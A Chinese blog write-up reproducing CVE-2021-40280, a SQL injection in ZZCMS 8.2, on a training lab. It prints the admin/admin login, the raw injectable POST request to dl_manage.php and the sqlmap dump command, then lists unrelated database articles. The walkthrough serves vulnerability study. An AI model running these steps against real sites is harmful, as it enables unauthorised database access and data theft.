Hxdih
Hxdih

CVE-2021-40280

CVE-2021-40280

站长招商网内容管理系统简称 ZZCMS，由ZZCMS团队开发，融入数据库优化，内容缓存，AJAX等技术，使网站的安全性 、稳定性 、负载能力得到可靠保障。源码开放，功能模块独立，便于二次开发。 zzcms8.2中在admin/dl_sendmail.php存在sql注入漏洞

弱口令 admin/admin 登录

CVE-2021-40280_第1张图片

直接访问，会阻止

CVE-2021-40280_第2张图片

但是在后面跟上问好参数就可以访问了！ 这两条数据是我在测试的时候，添加的。

因为给的提示是在 /admin/dl_sendmail 所以尝试了这几个发送的 请求包，抓包后然后保存成文件然后再使用Sqlmap跑出

CVE-2021-40280_第3张图片

但是发现，Sqlmap都跑不出结果，最后尝试，这个查询功能的请求包进行发包，请求包如下：
4个发送邮箱点
CVE-2021-40280_第4张图片
查询功能点
CVE-2021-40280_第5张图片

POST /admin/dl_manage.php? HTTP/1.1
Host: eci-2ze1hvr9navfw3w1m42t.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://eci-2ze1hvr9navfw3w1m42t.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2ze1hvr9navfw3w1m42t.cloudeci1.ichunqiu.com/admin/dl_manage.php?
Cookie: zxbigclassid=1; zxsmallclassid=0; PHPSESSID=mbsjjubmt5h48ldqiv33gr5rs1
Upgrade-Insecure-Requests: 1

kind=tel&keyword=1234444&Submit=%E6%9F%A5%E6%89%BE

使用这个请求包，跑出了个延时注入。

CVE-2021-40280_第6张图片

然后根据以往的经验

sqlmap.py -r 1.txt --random-agent --batch -D zzmcs -T flag --dump

CVE-2021-40280_第7张图片

你可能感兴趣的:(CVE漏洞复现,web安全,sql,网络安全,mysql)

  • NAT穿透 P2P通信 介绍 ccCoKOll p2p网络协议网络
    NAT穿透与P2P通信是互联网通信领域中的关键技术，特别是在多点通信、实时互动以及设备间的直接连接中。NAT（网络地址转换）技术在保护网络安全和解决IP地址稀缺问题的同时，也对P2P（对等网络）通信带来了挑战。P2P通信则是一种网络架构，其中每个节点既是服务的提供者也是消费者，它们之间可以直接交换数据，无需通过中央服务器。在P2P网络中，每个节点都有自己的唯一标识，通常是IP地址和端口号。但在NA
  • Java面试——场景题 一只特立独行的猪611 Java面试java
    1.如何分批处理数据？1.使用LIMIT和OFFSET子句：这是最常用的分批查询方法。例如，你可以使用以下SQL语句来分批查询数据：SELECT*FROMyour_tableLIMIT1000OFFSET0;分批查询到的数据在后端进行处理，达到分批处理数据的效果。2.使用多线程的方式：如果你需要用多线程分批处理数据，并且数据所在表的主键id是递增的，可以使用取模的方式进行分批查询。例如：impor
  • 袋鼠数据库工具 7.99.1 版已上线
    袋鼠数据库工具是一款AI驱动的热门数据库系统客户端(MariaDB/MySQL/Oracle/PostgreSQL/Redis/SQLite/SQLServer/...)，支持建表、查询、模型、同步、导入导出等功能，支持Windows/Mac/Linux等操作系统，致力于打造一款好用、好玩、开发友好的开发者工具。重点特性介绍这个版本继续完善Redis支持，实现了Redis用户管理支持，实现了数据格
  • docker 搭建mysql 连接不上_docker搭建MySQL主从集群 Grayce docker搭建mysql连接不上
    关于MySQL主从模式，如果我们直接在本机上搭建的话，是没法搭建的，只能借助于虚拟机，但有的时候我们又需要搭建一个主从集群，以便于进行一些功能性的测试。这个时候我们就可以尝试使用docker，借助于docker的容器化技术，我们只需要创建两个MySQL容器，并且占用主机的两个端口即可，对主机没有其他额外的影响。这种方式非常的轻量，而且也容易复制。本文则主要讲解如何通过docker来搭建MySQL集
  • 通过docker快速搭建mysql主从集群（一主两从） NazzzzMini dockerdockermysql运维
    通过docker快速搭建mysql主从集群（一主两从）：首先请确保你的服务器已安装了docker⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄，那么接下来，我们进入正题~1.镜像拉取#latest目前版本为8.0.13;dockerpullmysql:latest2.启动主库镜像dockerrun\--restart=always\-p3306:3306--namemysql\-v/opt/mysql/log:/va
  • 【MySQL】基于Docker搭建MySQL一主二从集群 不想睡觉的橘子君 踩坑专栏mysqlDockermysqldocker数据库
    本文记录了搭建mysql一主二从集群，这样的一个集群master为可读写，slave为只读。过程中使用了docker，便于快速搭建单体mysql。1，准备dockerdocker的安装可以参考之前基于yum安装docker的文章[1]。容器相关命令[2]。查看正在运行的容器dockerps查看所有容器（查看正在运行的和已经停止运行的）dockerps–adockerps-all查看最后一次运行的容
  • MYSQL的基础信息如何存放 月堂 oracle数据库
    一、存储位置与版本差异1、MySQL8.0+（事务化存储）系统表存储：所有元数据（表结构、索引、权限等）统一存储在mysql系统库的InnoDB事务表中（如mysql.tables、mysql.columns），物理文件为mysql.ibd。优势：性能优化：INFORMATION_SCHEMA改为内存视图，查询效率提升（无需解析文件）。原子DDL：DDL操作（如建表、删表）完全事务化，失败自动回滚
  • 新手向:从零开始MySQL超详细安装、配置与使用指南 nightunderblackcat 基础环境配置mysql数据库
    什么是MySQL？一句话解释：MySQL是全球最流行的开源关系型数据库，像淘宝、Facebook等大型网站都在使用它存储数据！它采用表格形式管理数据（类似Excel），支持SQL语言进行数据操作。第一步：安装MySQL（多系统详解）Windows系统下载安装包：访问官网：https://dev.mysql.com/downloads/mysql/选择MySQLInstallerMSI（Window
  • 04_MySQL 通过 Docker 在同一个服务器上搭建主从集群（一主一从） 耀耀_很无聊 【实施】实施日记mysqldocker服务器
    04_MySQL通过Docker在同一个服务器上搭建主从集群（一主一从）准备工作1.拉取MySQL镜像bash复制编辑dockerpullmysql:8.0.262.创建主从配置目录bash复制编辑mkdir-p/root/mysql/master/confmkdir-p/root/mysql/master/datamkdir-p/root/mysql/master/mysql-filesmkdi
  • Redis 与其他数据库的比较 jarenyVO redis数据库redis缓存
    Redis与其他数据库的比较以下是Redis与传统关系型数据库及其他NoSQL数据库的对比列表：Redisvs关系型数据库(MySQL/Oracle)对比维度Redis关系型数据库数据模型键值对、丰富数据结构（String/Hash/Set等）表结构，严格的行列模型持久化可配置（RDB快照/AOF日志）默认持久化，WAL日志+数据文件事务支持简单事务（无回滚）ACID事务，支持复杂回滚查询能力仅支
  • 对比2个数据库：google Cloud Firestore 和 supabase waterHBO 数据库云端数据库
    帮我对比一下：CloudFirestore和supabase尤其是，是否免费，注册难度，是否需要银行卡注册，我没有国外的银行卡（我在中国大陆）。以及免费额度是多少，上手难度，即，学习曲线因为我平时一般是写小项目，我的数据库一般使用json或是sqlite3第1个回答好问题！下面是CloudFirestore（Firebase）和Supabase的全面对比，特别关注了中国大陆用户关心的注册、费用、学
  • SQL规范检查 独步秋风 Mysqlmysqlsql规范检查
    序号规则规则等级数据库类型1Update/Delete需要带上where条件errorMysql2不允许使用Truncatetable语句errorMysql3Update/Delete不允许带limit条件errorMysql4Update/Delete不允许带orderby条件errorMysql5不使用“SELECT*”这样的语句errorMysql6不使用DML广播语句errorMysql
  • 【代码审计】安全审核常见漏洞修复策略 秋说 Java代码审计网络安全代码审计
    文章目录1.异常信息泄露修复建议不推荐用法推荐用法2.文件上传漏洞错误示例（缺乏校验）安全示例（含格式/扩展名校验）3.SQL注入漏洞（MyBatis${}）示例修复建议4.生成组件间接依赖生成依赖树建议5.间接依赖组件的漏洞什么是间接依赖后端修复1后端修复2前端修复1前端修复26.XSS（跨站脚本攻击）错误示例（存在风险）安全示例（自动转义）修复建议7.接口未鉴权修复建议8.路径遍历漏洞错误示例
  • SQL规范 lltfjsy sql数据库
    SQL要尽量简单，关联的表越少越好，最好不超过三个，尽量避免复杂的多表关联，难以优化，随着数据量的增加性能的风险很大；避免写过于复杂的SQL，不要用一条复杂的SQL就把功能做出来，能拆分成多个简单的，就要拆分成多个简单的SQL。合理使用临时表,子查询复杂的，尽量把子查询写成临时表特别是leftjoin后面跟复杂子查询，或连接复杂子查询后，又跟其它表连接，要把子查询写成临时表VT表不是真正的临时表，
  • Flask + GPT 实践 红鼻子时代 flask项目flaskgptpython
    一、前言本篇文章会介绍从零开始构建一个基于Flask+GPT的小项目的过程。总共有四个版本的迭代，包括：1、调用GPT接口并渲染到前端页面；2、使用Flask提供的session来实现登录和登出功能；3、用SQLAlchemy管理数据库，实现用户注册和登录；4、记录和分页查看用户与GPT的对话历史。二、项目环境与依赖Python版本：建议3.7+Flask：最常用的PythonWeb框架之一ope
  • java+vue+SpringBoo智慧旅游系统（程序+数据库+报告+部署教程+答辩指导）
    源代码+数据库+LW文档（1万字以上）+开题报告+答辩稿ppt+部署教程+代码讲解+代码时间修改工具技术实现开发语言：后端：Java前端：vue框架：springboot数据库：mysql开发工具JDK版本：JDK1.8数据库：mysql数据库工具：Navicat开发软件：idea主要角色及功能介绍本次系统的用例图做出了十分明确的功能划分，在设计时可以有很好的设计思路进行设计和延展。（1）管理员用
  • SQL server 一个字段为yymmdd+3位序号 修改为yymm加4位序号的方法 海天胜景 数据库
    在SQLServer中，如果你想要修改一个字段的格式，使其从原来的yymmdd+3位序号改为yymm+4位序号，你可以使用UPDATE语句结合CONVERT或FORMAT函数来实现这个目的。这里有两种常见的场景：场景1：如果原始数据存储为字符串格式假设你有一个表your_table，其中有一个字段your_column存储的是yymmdd+3位序号的格式，例如230415001。你可以使用以下SQ
  • c# sugersql 获取子表数据排序 海天胜景 c#开发语言
    在C#中使用SugarORM（一个流行的.NETORM框架）获取子表数据并进行排序，可以通过以下几种方式实现：1.使用HasMany或HasOne配置首先，确保你在配置实体时已经正确设置了HasMany或HasOne关系。例如，假设你有一个Order实体和一个OrderDetail实体，其中Order有一个到OrderDetail的HasMany关系。publicclassOrder{public
  • 【力扣数据库知识手册】关于redis soso（找工作版 数据库八股数据库redis
    Key-Value数据库（键值数据库）是一种非关系型数据库（NoSQL），它使用简单的键值对(key-value)方式来存储数据，是最简单的数据库模型之一。Redis定义全称为RemoteDictionaryServer，本质上是一个Key-Value类型的内存数据库，整个数据库统统加载在内存当中进行操作，定期通过异步操作把数据库数据写入磁盘或把修改操作写入追加的记录文件，并且在此基础上实现Mas
  • MySQL事务隔离级别 Pseudo-lover563 mysql数据库
    目录一、MySQL事务的四大隔离级别1、READ-UNCOMMITTED（读取未提交）2、READ-COMMITTED（读取已提交）3、REPEATABLE-READ（可重复读）（MySQL默认）4、SERIALIZABLE（可串行化）二、总结一、MySQL事务的四大隔离级别1、READ-UNCOMMITTED（读取未提交）最低的隔离级别，允许脏读，也就是可能读取到其他会话中未提交事务修改的数据，
  • 分享一些 SQL 优化工具 王宇帆avalanche sql数据库
    一、数据库自带的性能监控和分析工具MySQL：MySQLEnterpriseMonitor：这是MySQL官方推出的一款企业级监控工具，它提供了全面的数据库性能监控和管理功能。功能特点：可以实时监控MySQL服务器的各种关键性能指标，如查询响应时间、吞吐量、连接数、缓存命中率等。它还能深入分析SQL查询的执行计划，帮助用户找出性能瓶颈和优化点。通过直观的图形界面，管理员可以轻松了解数据库的运行状态
  • pgsql处理文档类型数据_PostgreSQL数据类型
    http://blog.csdn.net/neo_liu0000/article/category/797059第六章数据类型6.1概述PostgreSQL提供了丰富的数据类型。用户可以使用CREATETYPE命令在数据库中创建新的数据类型。PostgreSQL的数据类型被分为四种，分别是基本数据类型、复合数据类型、域和伪类型。基本数据类型是数据库内置的数据类型，包括integer、char、va
  • mysql api blob处理_SQLite中如何用api操作BLOB类型的字段 weixin_39620684 mysqlapiblob处理
    在实际的编程开发当中我们经常要处理一些大容量二进制数据的存储，如图片或者音乐等等。对于这些二进制数据(blob字段)我们不能在实际的编程开发当中我们经常要处理一些大容量二进制数据的存储，，如图片或者音乐等等。对于这些二进制数据(blob字段)我们不能像处理普通的文本那样简单的插入或者查询，为此SQLite提供了一组函数来处理这种BLOB字段类型。下面的代码演示了如何使用这些API函数。相关阅读：S
  • centos7下docker安装postgresql+postgis
    环境:centos7/docker最初直接拉取的postgresql数据，在导入.bakup文件时始终会报错，最后才想到该数据库默认不带postgis空间组件###一、拉取镜像这里我们拉取postgres和gis组合的镜像目前组合的版本有如下几个-11.0-2.5-10.0-2.4-9.6-2.4这里以拉取postgresqlv11.0和postgisv2.5的镜像为例dockerpullkart
  • dockercompose 安装postgresql+postgis 小橘快跑 dockerpostgresql数据库
    前提：安装好docker及docker-compose1、编写docker-compose.yml文件version:'3'services:pgsql:image:postgres:14.8container_name:pgsqlrestart:alwaysenvironment:POSTGRES_DB:chargePOSTGRES_USER:postgresqlPOSTGRES_PASSWOR
  • MySQL的黑魔法：揭秘隐式类型转换的“双刃剑”效应 訾博ZiBo MySQLmysqlandroid数据库
    你是否曾在MySQL中写下这样的CREATETABLE语句？CREATETABLE`products`(`id`intunsignedNOTNULLAUTO_INCREMENT,`product_name`varchar(255)DEFAULTNULL,`sort_order`intDEFAULT'0',--注意这里！PRIMARYKEY(`id`));当你看到sort_order这个int类型的
  • PostgreSQL 数据类型 流光影下 pgsql数据库postgresql大数据数据库
    数值类型名字存储长度描述范围smallint2字节小范围整数-32768到+32767integer4字节常用的整数-2147483648到+2147483647bigint8字节大范围整数-9223372036854775808到+9223372036854775807decimal可变长用户指定的精度，精确小数点前131072位；小数点后16383位numeric可变长用户指定的精度，精确小数
  • PostgreSQL数据类型总结 渝州居士 PostgreSQLpostgresql数据库
    PostgreSQL数据库相比其他数据库，支持更多的数据类型，包括常用的数值类型、字符串类型、日期/时间类型外，还有几何类型、网络地址类型、xml类型和json类型，且还可以使用CREATETYPE自行添加数据类型，本文主要介绍PostgreSQL数据库主要的数据类型1.数值类型常用数值类型如下表所示：名称别名存储大小范围描述与其他数据库对比smallintint22字节-225~215-1有符号
  • 探秘高效数据库备份利器：pg_probackup 郦岚彬Steward
    探秘高效数据库备份利器：pg_probackuppg_probackuppg_probackup是一个开源的PostgreSQL备份和恢复工具，用于在PostgreSQL中进行在线备份和恢复操作。-功能：PostgreSQL备份和恢复工具；在线备份；恢复操作。-特点：易于使用；轻量级；支持多种编程语言；高性能。项目地址:https://gitcode.com/gh_mirrors/pg/pg_pr
  • Squirrel： 通用SQL、NoSQL客户端 antui1957
    安装配置数据库配置驱动配置连接如果你的工作中，需要使用到多个数据库，又不想在多种客户端之间切换来切换去。那么就需要找一款支持多数据库的客户端工具了。如果你要连接多个关系型数据库，你就可以使用NavicatPremium。但是如果你有使用到NOSQL（譬如HBase、MongoDB等），还是建议使用SquirrelSQLClient。1、安装下载地址：http://squirrel-sql.sour
  • 多线程编程之join()方法 周凡杨 javaJOIN多线程编程线程
    现实生活中，有些工作是需要团队中成员依次完成的，这就涉及到了一个顺序问题。现在有T1、T2、T3三个工人，如何保证T2在T1执行完后执行，T3在T2执行完后执行？问题分析：首先问题中有三个实体，T1、T2、T3， 因为是多线程编程，所以都要设计成线程类。关键是怎么保证线程能依次执行完呢？   Java实现过程如下： public class T1 implements Runnabl
  • java中switch的使用 bingyingao javaenumbreakcontinue
    java中的switch仅支持case条件仅支持int、enum两种类型。 用enum的时候，不能直接写下列形式。 switch (timeType) { case ProdtransTimeTypeEnum.DAILY: break; default: br
  • hive having count 不能去重 daizj hive去重having count计数
    hive在使用having count()是，不支持去重计数   hive (default)> select imei from t_test_phonenum where ds=20150701 group by imei having count(distinct phone_num)>1 limit 10;  FAILED: SemanticExcep
  • WebSphere对JSP的缓存 周凡杨 WAS JSP 缓存
          对于线网上的工程，更新JSP到WebSphere后，有时会出现修改的jsp没有起作用，特别是改变了某jsp的样式后，在页面中没看到效果，这主要就是由于websphere中缓存的缘故，这就要清除WebSphere中jsp缓存。要清除WebSphere中JSP的缓存，就要找到WAS安装后的根目录。        现服务
  • 设计模式总结 朱辉辉33 java设计模式
    1.工厂模式   1.1 工厂方法模式 (由一个工厂类管理构造方法)      1.1.1普通工厂模式(一个工厂类中只有一个方法)      1.1.2多工厂模式(一个工厂类中有多个方法)      1.1.3静态工厂模式(将工厂类中的方法变成静态方法) &n
  • 实例：供应商管理报表需求调研报告 老A不折腾 finereport报表系统报表软件信息化选型
    引言 随着企业集团的生产规模扩张，为支撑全球供应链管理，对于供应商的管理和采购过程的监控已经不局限于简单的交付以及价格的管理，目前采购及供应商管理各个环节的操作分别在不同的系统下进行，而各个数据源都独立存在，无法提供统一的数据支持；因此，为了实现对于数据分析以提供采购决策，建立报表体系成为必须。 业务目标 1、通过报表为采购决策提供数据分析与支撑 2、对供应商进行综合评估以及管理，合理管理和
  • mysql 林鹤霄
    转载源：http://blog.sina.com.cn/s/blog_4f925fc30100rx5l.html mysql -uroot -p ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)   [root@centos var]# service mysql
  • Linux下多线程堆栈查看工具(pstree、ps、pstack) aigo linux
    原文：http://blog.csdn.net/yfkiss/article/details/6729364   1. pstree pstree以树结构显示进程$ pstree -p work | grep adsshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)  &n
  • html input与textarea 值改变事件 alxw4616 JavaScript
    // 文本输入框(input) 文本域(textarea)值改变事件 // onpropertychange(IE) oninput(w3c) $('input,textarea').on('propertychange input', function(event) {      console.log($(this).val()) });  
  • String类的基本用法 百合不是茶 String
      字符串的用法;     // 根据字节数组创建字符串 byte[] by = { 'a', 'b', 'c', 'd' }; String newByteString = new String(by);         1,length()  获取字符串的长度     &nbs
  • JDK1.5 Semaphore实例 bijian1013 javathreadjava多线程Semaphore
    Semaphore类        一个计数信号量。从概念上讲，信号量维护了一个许可集合。如有必要，在许可可用前会阻塞每一个 acquire()，然后再获取该许可。每个 release() 添加一个许可，从而可能释放一个正在阻塞的获取者。但是，不使用实际的许可对象，Semaphore 只对可用许可的号码进行计数，并采取相应的行动。 S
  • 使用GZip来压缩传输量 bijian1013 javaGZip
            启动GZip压缩要用到一个开源的Filter：PJL Compressing Filter。这个Filter自1.5.0开始该工程开始构建于JDK5.0，因此在JDK1.4环境下只能使用1.4.6。         PJL Compressi
  • 【Java范型三】Java范型详解之范型类型通配符 bit1129 java
        定义如下一个简单的范型类，   package com.tom.lang.generics; public class Generics<T> { private T value; public Generics(T value) { this.value = value; } }
  • 【Hadoop十二】HDFS常用命令 bit1129 hadoop
    1. 修改日志文件查看器   hdfs oev -i edits_0000000000000000081-0000000000000000089 -o edits.xml cat edits.xml   修改日志文件转储为xml格式的edits.xml文件，其中每条RECORD就是一个操作事务日志   2. fsimage查看HDFS中的块信息等 &nb
  • 怎样区别nginx中rewrite时break和last ronin47
    在使用nginx配置rewrite中经常会遇到有的地方用last并不能工作，换成break就可以，其中的原理是对于根目录的理解有所区别，按我的测试结果大致是这样的。 location /    {         proxy_pass http://test; 
  • java-21.中兴面试题 输入两个整数 n 和 m ，从数列 1 ， 2 ， 3.......n 中随意取几个数 , 使其和等于 m bylijinnan java
    import java.util.ArrayList; import java.util.List; import java.util.Stack; public class CombinationToSum { /* 第21 题 2010 年中兴面试题 编程求解： 输入两个整数 n 和 m ，从数列 1 ， 2 ， 3.......n 中随意取几个数 , 使其和等
  • eclipse svn 帐号密码修改问题 开窍的石头 eclipseSVNsvn帐号密码修改
    问题描述：      Eclipse的SVN插件Subclipse做得很好，在svn操作方面提供了很强大丰富的功能。但到目前为止，该插件对svn用户的概念极为淡薄，不但不能方便地切换用户，而且一旦用户的帐号、密码保存之后，就无法再变更了。 解决思路：      删除subclipse记录的帐号、密码信息，重新输入
  • [电子商务]传统商务活动与互联网的结合 comsci 电子商务
          某一个传统名牌产品，过去销售的地点就在某些特定的地区和阶层，现在进入互联网之后，用户的数量群突然扩大了无数倍，但是，这种产品潜在的劣势也被放大了无数倍，这种销售利润与经营风险同步放大的效应，在最近几年将会频繁出现。。。。        如何避免销售量和利润率增加的
  • java 解析 properties-使用 Properties-可以指定配置文件路径 cuityang javaproperties
    #mq xdr.mq.url=tcp://192.168.100.15:61618; import java.io.IOException; import java.util.Properties; public class Test { String conf = "log4j.properties"; private static final
  • Java核心问题集锦 darrenzhu java基础核心难点
    注意，这里的参考文章基本来自Effective Java和jdk源码 1)ConcurrentModificationException 当你用for each遍历一个list时，如果你在循环主体代码中修改list中的元素，将会得到这个Exception，解决的办法是： 1)用listIterator, 它支持在遍历的过程中修改元素， 2)不用listIterator, new一个
  • 1分钟学会Markdown语法 dcj3sjt126com markdown
    markdown 简明语法 基本符号 *,-,+ 3个符号效果都一样，这3个符号被称为 Markdown符号 空白行表示另起一个段落 `是表示inline代码，tab是用来标记 代码段，分别对应html的code，pre标签 换行 单一段落( <p>) 用一个空白行 连续两个空格 会变成一个 <br> 连续3个符号，然后是空行
  • Gson使用二（GsonBuilder） eksliang jsongsonGsonBuilder
    转载请出自出处：http://eksliang.iteye.com/blog/2175473 一.概述     GsonBuilder用来定制java跟json之间的转换格式   二.基本使用 实体测试类： 温馨提示：默认情况下@Expose注解是不起作用的,除非你用GsonBuilder创建Gson的时候调用了GsonBuilder.excludeField
  • 报ClassNotFoundException: Didn't find class "...Activity" on path: DexPathList gundumw100 android
    有一个工程，本来运行是正常的，我想把它移植到另一台PC上，结果报： java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.mobovip.bgr/com.mobovip.bgr.MainActivity}: java.lang.ClassNotFoundException: Didn't f
  • JavaWeb之JSP指令 ihuning javaweb
      要点   JSP指令简介  page指令  include指令    JSP指令简介    JSP指令（directive）是为JSP引擎而设计的，它们并不直接产生任何可见输出，而只是告诉引擎如何处理JSP页面中的其余部分。 JSP指令的基本语法格式： <%@ 指令 属性名="
  • mac上编译FFmpeg跑ios 啸笑天 ffmpeg
    1、下载文件：https://github.com/libav/gas-preprocessor， 复制gas-preprocessor.pl到/usr/local/bin/下， 修改文件权限：chmod 777 /usr/local/bin/gas-preprocessor.pl 2、安装yasm-1.2.0 curl http://www.tortall.net/projects/yasm
  • sql mysql oracle中字符串连接 macroli oraclesqlmysqlSQL Server
    有的时候，我们有需要将由不同栏位获得的资料串连在一起。每一种资料库都有提供方法来达到这个目的： MySQL: CONCAT() Oracle: CONCAT(), || SQL Server: + CONCAT() 的语法如下： Mysql 中 CONCAT(字串1, 字串2, 字串3, ...): 将字串1、字串2、字串3，等字串连在一起。 请注意，Oracle的CON
  • Git fatal: unab SSL certificate problem: unable to get local issuer ce rtificate qiaolevip 学习永无止境每天进步一点点git纵观千象
    // 报错如下： $ git pull origin master fatal: unable to access 'https://git.xxx.com/': SSL certificate problem: unable to get local issuer ce rtificate   // 原因： 由于git最新版默认使用ssl安全验证，但是我们是使用的git未设
  • windows命令行设置wifi surfingll windowswifi笔记本wifi
    还没有讨厌无线wifi的无尽广告么，还在耐心等待它慢慢启动么 教你命令行设置 笔记本电脑wifi： 1、开启wifi命令 netsh wlan set hostednetwork mode=allow ssid=surf8 key=bb123456 netsh wlan start hostednetwork pause 其中pause是等待输入，可以去掉 2、
  • Linux（Ubuntu）下安装sysv-rc-conf wmlJava linuxubuntusysv-rc-conf
    安装：sudo apt-get install sysv-rc-conf 使用：sudo sysv-rc-conf 操作界面十分简洁，你可以用鼠标点击，也可以用键盘方向键定位，用空格键选择，用Ctrl+N翻下一页，用Ctrl+P翻上一页，用Q退出。     背景知识 sysv-rc-conf是一个强大的服务管理程序，群众的意见是sysv-rc-conf比chkconf
  • svn切换环境，重发布应用多了javaee标签前缀 zengshaotao javaee
    更换了开发环境，从杭州，改变到了上海。svn的地址肯定要切换的，切换之前需要将原svn自带的.svn文件信息删除，可手动删除，也可通过废弃原来的svn位置提示删除.svn时删除。   然后就是按照最新的svn地址和规范建立相关的目录信息，再将原来的纯代码信息上传到新的环境。然后再重新检出，这样每次修改后就可以看到哪些文件被修改过，这对于增量发布的规范特别有用。   检出
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他